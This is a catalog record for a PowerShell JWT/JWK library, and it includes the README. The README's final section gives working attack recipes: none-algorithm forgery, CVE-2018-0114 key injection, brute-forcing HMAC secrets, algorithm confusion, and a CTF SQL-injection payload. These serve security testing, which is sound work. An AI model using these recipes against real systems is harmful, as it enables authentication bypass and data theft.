{"id":16485871,"url":"https://github.com/anthonyg-1/psjsonwebtoken","last_synced_at":"2025-06-12T22:36:50.071Z","repository":{"id":56175025,"uuid":"314652836","full_name":"anthonyg-1/PSJsonWebToken","owner":"anthonyg-1","description":"A PowerShell module that contains functions to create, validate, and test JSON Web Tokens (JWT) as well as the creation of JSON Web Keys (JWK).","archived":false,"fork":false,"pushed_at":"2025-05-15T15:48:59.000Z","size":393,"stargazers_count":26,"open_issues_count":0,"forks_count":6,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-05-15T16:44:17.560Z","etag":null,"topics":["jwk","jwks","jwt","jwt-authentication","jwt-token","openid-connect","powershell"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/anthonyg-1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2020-11-20T19:40:36.000Z","updated_at":"2025-05-15T15:43:21.000Z","dependencies_parsed_at":"2023-09-28T17:35:34.478Z","dependency_job_id":"a816568c-0c50-44eb-bffe-a08ea77f2702","html_url":"https://github.com/anthonyg-1/PSJsonWebToken","commit_stats":null,"previous_names":[],"tags_count":46,"template":false,"template_full_name":null,"purl":"pkg:github/anthonyg-1/PSJsonWebToken","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSJsonWebToken","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSJsonWebToken/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSJsonWebToken/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSJsonWebToken/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/anthonyg-1","download_url":"https://codeload.github.com/anthonyg-1/PSJsonWebToken/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/anthonyg-1%2FPSJsonWebToken/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259542195,"owners_count":22873770,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["jwk","jwks","jwt","jwt-authentication","jwt-token","openid-connect","powershell"],"created_at":"2024-10-11T13:27:33.420Z","updated_at":"2025-06-12T22:36:50.050Z","avatar_url":"https://github.com/anthonyg-1.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ReadMe\n\n## PSJsonWebToken\n\nThis PowerShell module contains functions to create, validate, and test JSON Web Tokens (JWT) per [RFC 7519](https://tools.ietf.org/html/rfc7519) and [RFC 7515](https://tools.ietf.org/html/rfc7515). Additional functionality is included for the creation of JSON Web Keys (JWK) per [RFC 7517](https://tools.ietf.org/html/rfc7517).\n\n### Tested on\n:desktop_computer: `Windows 10/11`\n:penguin: `Linux`\n:apple: `MacOS`\n\n### Requirements\nRequires PowerShell 5.1 or above.\n\n### Installation\n\n```powershell\nInstall-Module -Name PSJsonWebToken -Repository PSGallery -Scope CurrentUser\n```\n\n## Examples\n\n### Token decoding\n```powershell\n# Decode and parse (not validate) a JWT\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYwNTkyMzEsIm5iZiI6MTYwNjA1OTIzMSwiZXhwIjoxNjA2MDU5NTMxLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.7j3SPowPaHlviVZeRFxIwyLa1qPzrL5jk1sguNG0yDg\"\n$jwt | ConvertFrom-EncodedJsonWebToken\n\n# Display a decoded JWT\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYwNTkyMzEsIm5iZiI6MTYwNjA1OTIzMSwiZXhwIjoxNjA2MDU5NTMxLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.7j3SPowPaHlviVZeRFxIwyLa1qPzrL5jk1sguNG0yDg\"\n$jwt | Show-DecodedJwt\n```\n\n\n### Token creation\n```powershell\n# Create an HMAC-SHA256 signed JWT with a five minute lifetime\n$secretKey = \"secret\" | ConvertTo-SecureString -AsPlainText -Force\n$jwt = New-JsonWebToken -Claims @{sub=\"username@company.com\"} -HashAlgorithm SHA256 -SecureKey $secretKey -TimeToLive 300\n\n# Create an RSA-SHA256 signed JWT with a five minute lifetime\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.pfx\"\n$jwt = New-JsonWebToken -Claims @{sub=\"username@company.com\"} -HashAlgorithm SHA256 -Certificate $cert -TimeToLive 300\n\n# Create an RSA-SHA256 signed JWT with a five minute lifetime with the JWK URI in the header\n$jwkUri = \"https://app.mycompany.com/common/discovery/keys\"\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.pfx\"\n$jwt = New-JsonWebToken -Claims @{sub=\"username@company.com\"} -HashAlgorithm SHA256 -Certificate $cert -JwkUri $jwkUri -TimeToLive 300 \n\n# Create an RSA-SHA256 signed JWT with a five minute lifetime with the public key as a JWK in the header\n$jwkUri = \"https://app.mycompany.com/common/discovery/keys\"\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.pfx\"\n$jwt = New-JsonWebToken -Claims @{sub=\"username@company.com\"} -HashAlgorithm SHA256 -Certificate $cert -IncludeJwk -TimeToLive 300\n```\n\n### Token validation\n```powershell\n# Validate an HMAC-SHA256 signed JWT\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYwNTkyMzEsIm5iZiI6MTYwNjA1OTIzMSwiZXhwIjoxNjA2MDU5NTMxLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.7j3SPowPaHlviVZeRFxIwyLa1qPzrL5jk1sguNG0yDg\"\n$secretKey = \"secret\" | ConvertTo-SecureString -AsPlainText -Force\nTest-JsonWebToken -JsonWebToken $jwt -HashAlgorithm SHA256 -SecureKey $secretKey\n\n# Validate an HMAC-SHA256 signed JWT signature only (skip expiration check)\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYwNTkyMzEsIm5iZiI6MTYwNjA1OTIzMSwiZXhwIjoxNjA2MDU5NTMxLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.7j3SPowPaHlviVZeRFxIwyLa1qPzrL5jk1sguNG0yDg\"\n$secretKey = \"secret\" | ConvertTo-SecureString -AsPlainText -Force\nTest-JsonWebToken -JsonWebToken $jwt -HashAlgorithm SHA256 -SecureKey $secretKey -SkipExpirationCheck\n\n# Validate an RSA-SHA256 signed JWT (signature and expiration check)\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.cer\" # (Get-PfxCertificate is capable of also getting certs sans private key)\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyIsImtpZCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyJ9.eyJpYXQiOjE2MDYwNTk2MjMsIm5iZiI6MTYwNjA1OTYyMywiZXhwIjoxNjA2MDU5OTIzLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.R6nTqCRwj_FchHp4oblZTkEIhSiSpGCV255SdXmWibNKS4eXtPlCngYaqfIqCwbeCbQB9G2zKHm2gAAolmylaZVoxaGTLOrrJXhfX79b4MNCT2Ixa1h2-B0RbBwV0lBCuaZscays-mxbR0INdnCPnuefrh1VyU9MC6dBpi-Q8r_En6Rtk1wl_a-xX93WtC2no96AtEV5kNErRUHOmTfhe2IjZR6S5uaMgXxrp7Ays8kEYVGwdWhF-JJ_9yUw9PB5pCmgkBED6urNNoeSTeEjTiqsRoHa1Ra9DhOriaegWXOZHEdthpg_JIzDBPYWjBbIfhNvhCwBrhGHbeXUtJL4bg\"\nTest-JsonWebToken -JsonWebToken $jwt -HashAlgorithm SHA256 -Certificate $cert\n\n\n# Verify a JSON Web Token's digital signature only (no expiration) against a JSON Web Key\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyIsImtpZCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyJ9.eyJpYXQiOjE2MTgyNTAzODksIm5iZiI6MTYxODI1MDM4OSwiZXhwIjoxNjE4MjU1MTg5LCJzdWIiOiJ0b255In0.X-RZm-3Hto5U-8Q-Wp1ggqWTFPkO5-Cz9lzoKsH5-1RR9GOrGPuWn-bjIv1YJ46h5Bw-KpiX-dOS47TAq2A0BWdAwczLVA6pzha1WswkT_u3cO1_KSoOjD9qFLjCgk-ns7A48iXpNcOoPBFXgfx8G0rRK68sSnokJ7N2NH-YNUOjg3U7DNJ_-iz8WZ5dNlOvpDsTy0BHMX-lho18sUmakUNpadJr-oD7BXIp--Z57UERBFibppaoxseYRo3VfmhgHibTxP-39mcxU6sH9a99fEEt80hj4w6rZobRxZV-pFPS22B8TBAfVf8L9faMLaXmgV7xtQohqQZgL6oKdJzFPQ\"\n$jwk = '\n{\n  \"kty\": \"RSA\",\n  \"use\": \"sig\",\n  \"e\": \"AQAB\",\n  \"n\": \"0yvTvlqT5yrk6lDzmK5_i6e-NKW4Bw8J9U62rcWI4IAr-vKaNqitmSwVLr2jJu29xQ__W22iGu584A82AS5N5YrwA6Rek-7WuHinwupFtCN-cCTzJlAcXUxyU7H0LfFxsXS1LUxSl7F_liIKH81QFE5RvI97R9bmbCn_BXpK4pHnTBGJigA8gJQ0U__YFk7AOSFUBeursQfCVPID99FpQ6pyj-h9WgdOneAfWde4SM1Pnovw59T2UT-JO-ObA5WOtvl0xW21djhhBRusVGWJuncNElhhRpUqNSOcsNQVe026zw8dX1wiMs9migQmz_LokH1bHENIuybdK9xBhXRRbw\",\n  \"kid\": \"2yCvZnk7k8W66wR2LXR9WCswhAc\"\n}\n'\nTest-JsonWebToken -JsonWebToken $jwt -HashAlgorithm SHA256 -JsonWebKey $jwk -SkipExpirationCheck\n\n# Validate an HMAC-SHA256 signed JWT signature as well as audience and issuer claims (no expiration check) displaying verbose output\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NzIyNjk0MDcsIm5iZiI6MTY3MjI2OTQwNywiZXhwIjoxNjcyMjY5NzA3LCJpc3MiOiJteWlkcCIsInN1YiI6InRvbnkiLCJhdWQiOiJteWFwcCJ9.6pgmpyVCo9mzCgL07lhAHg5EUbAqYqS6YcxunrlfEYQ\"\nTest-JsonWebToken -JsonWebToken $jwt -Key \"secret\" -Audience \"myapp\" -Issuer \"myidp\" -SkipExpirationCheck -Verbose\n\n# Attempts to validate a JSON Web Token signature against a collection of JSON Web Keys in https://app.mycompany.com/common/discovery/keys\n# and provides verbose output detailing what JWK was used to verify the signature\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyIsImtpZCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyJ9.eyJpYXQiOjE2MTgyNTAzODksIm5iZiI6MTYxODI1MDM4OSwiZXhwIjoxNjE4MjU1MTg5LCJzdWIiOiJ0b255In0.X-RZm-3Hto5U-8Q-Wp1ggqWTFPkO5-Cz9lzoKsH5-1RR9GOrGPuWn-bjIv1YJ46h5Bw-KpiX-dOS47TAq2A0BWdAwczLVA6pzha1WswkT_u3cO1_KSoOjD9qFLjCgk-ns7A48iXpNcOoPBFXgfx8G0rRK68sSnokJ7N2NH-YNUOjg3U7DNJ_-iz8WZ5dNlOvpDsTy0BHMX-lho18sUmakUNpadJr-oD7BXIp--Z57UERBFibppaoxseYRo3VfmhgHibTxP-39mcxU6sH9a99fEEt80hj4w6rZobRxZV-pFPS22B8TBAfVf8L9faMLaXmgV7xtQohqQZgL6oKdJzFPQ\"\n$jwkUri = \"https://app.mycompany.com/common/discovery/keys\"\nTest-JsonWebToken -JsonWebToken $jwt -Uri $jwkUri -SkipExpirationCheck -Verbose\n```\n\n### Create a JWT using a self-signed cert and verify signature against JWK\n```powershell\n# Generate self-signed signing certificate required for New-JsonWebToken:\nfunction New-JwtSigningCert([string]$Upn = \"jwt.test@mydomain.local\",\n    [string]$Subject = \"CN=jwt.test.mydomain.local\",\n    [string]$KeyUsage = \"DigitalSignature\",\n    [string]$StoreLocation = \"Cert:\\CurrentUser\\My\") {\n    [System.Security.Cryptography.X509Certificates.X509Certificate2]$cert = $null\n    $parameters = @{\n        Type              = \"Custom\";\n        Subject           = $Subject;\n        TextExtension     = @(\"2.5.29.37={text}1.3.6.1.5.5.7.3.2\", \"2.5.29.17={text}upn=$Upn\");\n        KeyUsage          = $KeyUsage;\n        KeyAlgorithm      = \"RSA\";\n        KeyLength         = 2048;\n        CertStoreLocation = $StoreLocation;\n        Provider          = 'Microsoft Enhanced RSA and AES Cryptographic Provider';\n        KeySpec           = \"KeyExchange\"\n        KeyExportPolicy   = \"Exportable\"\n    }\n    $generatedCert = New-SelfSignedCertificate @parameters\n    # If PowerShell 7.*, have to get the newly created cert from the store location as opposed to just returning it:\n    $certPath = Join-Path -Path $StoreLocation -ChildPath $generatedCert.Thumbprint\n    $cert = Get-Item -Path $certPath\n    return $cert\n}\n\n# Generate JWT:\n$jwtSigningCert = New-JwtSigningCert\n$claims = @{sub = \"test.user@mydomain.local\"; roles = (\"tester\", \"admin\") }\n$jwt = New-JsonWebToken -Claims $claims -SigningCertificate $jwtSigningCert -TimeToLive 300\n\n# Generate JWK (not JWK set, just JWK):\n$jwk = New-JsonWebKey -Certificate $jwtSigningCert -AsJson\n\n# Validate JWT against the JWK:\nTest-JsonWebToken -JsonWebToken $jwt -JsonWebKey $jwk -Verbose\n\n# (Optional) serialize x509 cert as JWK set and output to a file for further validation:\n$jwtSigningCert | New-JsonWebKeySet -Compress | Out-File -FilePath .\\jwks.json -Encoding ascii\n\n# Cleanup (remove cert):\nRemove-Item -Path $jwtSigningCert.PSPath\n```\n\n### Authenticating to an API endpoint with an HMAC signed JWT\n```powershell\n# Create an HMAC JWT:\n$jwt = New-JsonWebToken -Claims @{sub=\"person@company.com\"} -HashAlgorithm SHA256 -Key \"myHmacSecret\" -TimeToLive 300\n\n# Target URI:\n$endpoint = \"https://api.mycompany.com/auth\"\n\n# Create auth headers with JWT:\n$headers = @{Authorization=\"Bearer $jwt\"}\n\n# Post JWT to endpoint:\nInvoke-RestMethod -Method Post -Uri $endpoint -Headers $headers\n```\n\n### Generate a JWK (JSON Web Key) set from a certificate\n```powershell\n# Return as formatted JSON\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.cer\"\nNew-JsonWebKeySet -Certificate $cert -KeyOperations Verification\n\n# Compress the resulting JSON\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.cer\"\nNew-JsonWebKeySet -Certificate $cert -KeyOperations Verification -Compress\n\n# Create a public/private key pair, and serialize the public key (from Linux or MacOS with openssl and PowerShell 7 installed):\nopenssl req -newkey rsa:2048 -new -nodes -x509 -days 365 -keyout pvk.pem -out pub.pem\nopenssl pkcs12 -inkey pvk.pem -in pub.pem -export -out cert.pfx\n$cert = Get-PfxCertificate -FilePath ./cert.pfx\n$cert | njwks -c \u003e jwk.json\n```\n\n### JWK retrieval\n```powershell\n# Get JWK objects from OIDC well known endpoint:\nGet-JwkCollection -Uri 'https://login.windows.net/common/discovery/keys'\n\n# Get JWK JSON string from OIDC well known endpoint:\nGet-JwkCollection -Uri 'https://login.windows.net/common/discovery/keys' -AsJson\n\n# Get JWK objects from OIDC well known endpoint including X509 certificates:\nGet-JwkCollection -Uri 'https://login.windows.net/common/discovery/keys' -IncludeX509Certificate\n```\n\n### JWT attacks\n```powershell\n# None alg attack\n$jwt = New-JsonWebToken -Claims @{sub=\"hackerman@hacktheplanet.org\";role=\"megahacker\"} -TimeToLive 3600\n\n# x5c claim misuse\n$jwt = New-JsonWebToken -Claims @{sub = \"hackerman@hacktheplanet.org\"; role = \"megahacker\" } -SigningCertificate $cert -TimeToLive 3600 -IncludeX509CertChain\n\n# CVE-2018-0114 vulnerability\n# 1. Acquire existing JWT that is used by API endpoint:\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyIsImtpZCI6IjJ5Q3Zabms3azhXNjZ3UjJMWFI5V0Nzd2hBYyJ9.eyJpYXQiOjE2MDYwNTk2MjMsIm5iZiI6MTYwNjA1OTYyMywiZXhwIjoxNjA2MDU5OTIzLCJzdWIiOiJ1c2VybmFtZUBjb21wYW55LmNvbSJ9.R6nTqCRwj_FchHp4oblZTkEIhSiSpGCV255SdXmWibNKS4eXtPlCngYaqfIqCwbeCbQB9G2zKHm2gAAolmylaZVoxaGTLOrrJXhfX79b4MNCT2Ixa1h2-B0RbBwV0lBCuaZscays-mxbR0INdnCPnuefrh1VyU9MC6dBpi-Q8r_En6Rtk1wl_a-xX93WtC2no96AtEV5kNErRUHOmTfhe2IjZR6S5uaMgXxrp7Ays8kEYVGwdWhF-JJ_9yUw9PB5pCmgkBED6urNNoeSTeEjTiqsRoHa1Ra9DhOriaegWXOZHEdthpg_JIzDBPYWjBbIfhNvhCwBrhGHbeXUtJL4bg\"\n\n# 2. Get cert used to sign token via RSA-SHA256:\n$cert = Get-PfxCertificate -FilePath \"~/certs/cert.pfx\"\n\n# 3. Obtain existing payload:\n$jwtPayload = Get-JsonWebTokenPayload -JsonWebToken $jwt\n\n# 4. Generate new JWT signed with attackers private key with the public key embedded in the 'jwk' attribute in the header:\n$jwt = New-JsonWebToken -Claims $jwtPayload -SigningCertificate $cert -TimeToLive 3600 -IncludeJwk\n\n#  Brute force an HMAC-SHA256 JWT in an attempt to obtain the secret used to sign it\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYxNDEwOTMsIm5iZiI6MTYwNjE0MTA5MywiZXhwIjoxNjA2MTQxMzkzLCJqdGkiOiI1Njk5YTBlYTk3YzM0Yzc2OTlkZGZlNzNmNTIzOTI1MiIsInN1YiI6InVzZXJuYW1lQGNvbXBhbnkuY29tIn0.Ej86QALzH37R1zB7QhwwYdFjXL1UhG2E3n6nezEYONY\"\n$jwt | Test-JwtSecret -WordListFilePath \"./rockyou.txt\"\n\n# Same brute force as above but using the aliased version of Test-JwtSecret\n$jwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDYxNDEwOTMsIm5iZiI6MTYwNjE0MTA5MywiZXhwIjoxNjA2MTQxMzkzLCJqdGkiOiI1Njk5YTBlYTk3YzM0Yzc2OTlkZGZlNzNmNTIzOTI1MiIsInN1YiI6InVzZXJuYW1lQGNvbXBhbnkuY29tIn0.Ej86QALzH37R1zB7QhwwYdFjXL1UhG2E3n6nezEYONY\"\ntjwts -t $jwt -f \"./rockyou.txt\" -v\n\n# Hack The Box \"Under Construction\" walkthrough (algorithm substitution and SQL injection)\n# 1. JWT after registration and authentication:\n$jwt = \"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRvbnkiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MDgyMzkzMTd9.siXge7yRMiG7jE-lUef_mRCQ0ZY3YGPd-0psdjXoHU3CYSl3YkhpWiw724Ns9J_HVkGzsJBd0ZPRKpPdGL0MIaz2iS9IAqNnfdeM36cZpS5MHQT-zI3K2xfZQD2vjU4uyVmxSrSr1YOxFez1Mt6j-lkEiApX4uDwenysYvtNZ5rSiKipyhh03-tSZQJp3zR8YK6ileGy9KTRfGrjRz7_7CfGikGufJuGDaSBNCGKcMvPRJcotM6hWT5hXBW7JTXN62GZqabrXeSkz1DgMxntR5-iOmntLsdJyLhSKNi9jLx-fI3ticBc--70trVYSbV7kowBNtpHWrdvtefh5pgO1A\"\n\n# 2. Payload as a hashtable:\n$payload = $jwt | Get-JsonWebTokenPayload\n\n# 3. Decoded JWT and this is where we see the \"pk\" claim with the public key:\n$jwt | DecodeJwt | Format-List\n\n# 4. Get the public key:\n$key = $payload.pk\n\n# 5. Copy of the payload we're going to alter:\n$newPayload = $payload\n\n# 6. SQL injection which is the user name value followed by the query:\n$query = \"tony' AND 1=0 UNION SELECT 1,(SELECT top_secret_flaag FROM flag_storage),3;--\"\n\n# 7. Change the user name from \"tony\" to the above SQL query:\n$newPayload.username = $query\n\n# 8. Generate new JWT with the altered payload above and exclude default claims (iat, nbf, and exp) signed with the discovered key:\n$newJwt = New-JsonWebToken -Claims $newPayload -HashAlgorithm SHA256 -ExcludeDefaultClaims -Key $key\n\n# Algorithm confusion attack:\n# 1. Pre-captured JWT\n$captureJwt = \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Img4czl6OFBXd2x6OTJPTV9sY0gyWk5ZdTlqMCIsImtpZCI6Img4czl6OFBXd2x6OTJPTV9sY0gyWk5ZdTlqMCJ9.eyJpYXQiOjE2ODE0MTg3MzEsIm5iZiI6MTY4MTQxODczMSwiZXhwIjoxNjgxNDE5MzMxLCJhbXIiOlsicHdkIl0sInZlciI6IjEuMCIsImlkcCI6InRvbnktaWRwLmNvbSIsImZhbWlseV9uYW1lIjoiR3VpbWVsbGkiLCJhcHBpZCI6ImMyMTdhOTBiLTI0YTAtNDRlMC1hZDAyLTA0NTliNWM1ODllNSIsImp0aSI6ImQzZmFkODk3LTFmMGMtNDI2Ni1hYmExLTdjMDVlN2RkMzY4ZiIsImdpdmVuX25hbWUiOiJBbnRob255IiwiaXBhZGRyIjoiMzQuMjguMTg2LjIxIiwic3ViIjoiZng0NmN5YVFCblpKQmtkQktCNHlpQU1fUGo2S3NsaTRBMGdRQzREcXZyVSIsImVtYWlsIjoidG9ueS5ndWltZWxsaUBnbWFpbC5jb20iLCJvaWQiOiIzNWQ5NWMyYy0wNzY5LTQ4ZGYtYTg2NS1mNGMxOTdhNzcwODkiLCJ1bmlxdWVfbmFtZSI6InRvbnktaWRwLmNvbSN0b255Lmd1aW1lbGxpQHNvbWVkb21haW4uY29tIiwiZ3JvdXBzIjpbIjc0NmM4ZDc5LWQ5OTUtNDNjNy1iNGM0LTU3MWQwYjQzZWI5MyJdLCJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJwdWlkIjoiMTAwMzIwMDEwRTQ2MUQwOSIsInhtc190Y2R0IjoxNjExMDg4MTU0LCJ1dGkiOiJQNExrR296OHowQ3UydVZRdXE1cEFRIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwiaXNzIjoiaHR0cHM6Ly9zdHMudG9ueS1pZHAuY29tLzc0MDQxYzVlLTZjMDItNGFiOS05MWM0LTg2NTBlZDg0ODU2YiIsImFjciI6IjEiLCJuYW1lIjoiVG9ueSBHdWltZWxsaSIsInRpZCI6ImEwN2U0NTFiLTFkNTQtNDZkZS1hYzJmLWYwNWYyNzY4NzhlOSIsImFwcGlkYWNyIjoiMiJ9.S_apqTxvse4gqxu02HEa9vj7oeey36jpgP17UMdd93Yr-oNS82HDYk-hvuGdxYklrSg7SbS64ZVHGeUsTIPDsV4xWS7hlxAWoim3-2deq2Ns-rg66ekUowRARY8REAE3QGOwaF8fQxLBJvoV4zThaOOkOjdsEiaNC8PfzKiu-56lNv3la1lOKdjO0Q3Tm1O0niVOP22gyZjV69O30nQMGWGHr_0p3w87py_97ccPqVP1rz4ZU-pK54O44eCyaupd-58QkdxvCc1N5b2tNE-OhpHBZapoUmje3aVwyefzhW0IqiwaL8QGQzt8A9yKIJX9zo-Us_dcfEB_PAeZbA_XoA\"\n\n# 2. Target JWK endpoint to obtain HMAC signing key from with target JWK ID:\n$jwkUri = \"https://app.mycompany.com/common/discovery/jwks\"\n$targetKid = \"h8s9z8PWwlz92OM_lcH2ZNYu9j0\"\n\n# 3. Generate signing key from JWK converted to PEM:\n$signingKey = Convert-JwkToPem -Uri $jwkSetUri | Where-Object JwkIdentifier -eq $targetKid | Select-Object -ExpandProperty Pem | ConvertTo-Base64UrlEncodedString\n\n# 4. Obtain prior payload to feed into new JWT:\n$jwtPayload = $captureJwt | Get-JsonWebTokenPayload\n\n# 5. Craft new JWT with same payload, new date ranges, and signed with public key as HMAC key:\n$badJwt = New-JsonWebToken -Claims $jwtPayload -Key $signingKey -TimeToLive 6000\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanthonyg-1%2Fpsjsonwebtoken","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fanthonyg-1%2Fpsjsonwebtoken","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fanthonyg-1%2Fpsjsonwebtoken/lists"}